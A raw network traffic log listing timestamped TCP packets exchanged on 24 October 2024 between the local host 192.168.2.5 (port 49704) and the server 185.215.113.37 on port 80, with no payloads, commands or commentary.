Oct 24, 2024 02:50:11.074826002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.074841022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.074887991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.074918985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.074928999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.074934006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.074959993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.074973106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.075378895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.075395107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.075409889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.075424910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.075424910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.075434923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.075453997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.075464964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.115075111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.115112066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.115142107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.115147114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.115154028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.115189075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.115264893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.115298033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.115309000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.115350962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.115385056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.115413904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.115437031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.115437031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.191322088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.191338062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.191380978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.191385031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.191396952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.191420078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.191421986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.191435099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.191458941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.191462994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.191474915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.191483021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.191498041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.191514969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.192342997 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.192375898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.192399979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.192409992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.192425013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.192451000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.192713976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.192759991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.192775011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.192820072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.231992006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.232040882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.232079029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.232085943 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.232096910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.232120991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.232125044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.232151031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.232168913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.232186079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.232201099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.232219934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.232228994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.232254982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.232263088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.232299089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.308482885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.308533907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.308568954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.308573961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.308589935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.308610916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.308621883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.308646917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.308655977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.308682919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.308691025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.308721066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.308727026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.308763981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.309221029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.309257030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.309282064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.309293032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.309308052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.309333086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.309537888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.309573889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.309595108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.309608936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.309617043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.309653044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.348714113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.348804951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.348820925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.348859072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.348861933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.348901033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.348913908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.348937035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.348944902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.348973036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.348978996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.349019051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.349252939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.349284887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.349313974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.349327087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.425175905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.425220966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.425260067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.425262928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.425297022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.425304890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.425304890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.425333023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.425343990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.425371885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.425379992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.425417900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.425986052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.426044941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.426054001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.426085949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.426090002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.426129103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.426204920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.426240921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.426260948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.426276922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.426289082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.426367044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.426381111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.426412106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.441046953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.441093922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.441165924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.441204071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.470236063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.470288038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.470324039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.470361948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.470402956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.470439911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.470439911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.470439911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.470439911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.470439911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.509769917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.509815931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.509880066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.509880066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.542720079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.542880058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.542892933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.542922974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.542937994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.542974949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.542988062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.543009996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.543025970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.543045998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.543057919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.543080091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.543095112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.543119907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.543143988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.543181896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.543194056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.543219090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.543224096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.543272018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.582861900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.582915068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.582953930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.583003998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.583029032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.586790085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.586823940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.586859941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.586864948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.586894035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.586898088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.586922884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.586930990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.586934090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.586968899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.659176111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.659214020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.659249067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.659281969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.659373045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.659399033 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.659444094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.659490108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.659817934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.659852028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.659882069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.659885883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.659900904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.659936905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.660166025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.660200119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.660233974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.660240889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.660240889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.660267115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.660291910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.660326958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.660866976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.660900116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.660926104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.660934925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.660944939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.660983086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.699717999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.699749947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.699803114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.699836969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.699876070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.699904919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.699928999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.699948072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.703485966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.703521967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.703543901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.703556061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.703568935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.703604937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.703624964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.703675032 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.703679085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.703711987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.703727007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.703759909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.775697947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.775773048 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.775777102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.775811911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.775819063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.775847912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.775854111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.775885105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.775890112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.775926113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.775996923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.776032925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.776046038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.776067972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.776074886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.776110888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.776336908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.776384115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.776391029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.776423931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.776437998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.776458979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.776467085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.776499987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.777049065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.777084112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.777100086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.777118921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.777124882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.777158022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.816797018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.816843033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.816884041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.816896915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.816919088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.816930056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.816931009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.816971064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.820504904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.820580006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.820580959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.820619106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.820626974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.820652962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.820660114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.820691109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.820698023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.820729017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.820736885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.820760965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.820772886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.820801973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.892657995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.892733097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.892771959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.892807961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.892844915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.892853975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.892853975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.892853975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.892853975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.892882109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.892893076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.892916918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.892951965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.893119097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893119097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893119097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893196106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.893225908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.893251896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893271923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893462896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.893498898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.893518925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893536091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.893543005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893569946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.893584013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893605947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.893620014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.893655062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.933473110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.933517933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.933579922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.933609009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.933686018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.933686018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.933686018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.933686018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.937098980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.937129021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:11.937160015 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:11.937175035 CEST	49704	80	192.168.2.5	185.215.113.37
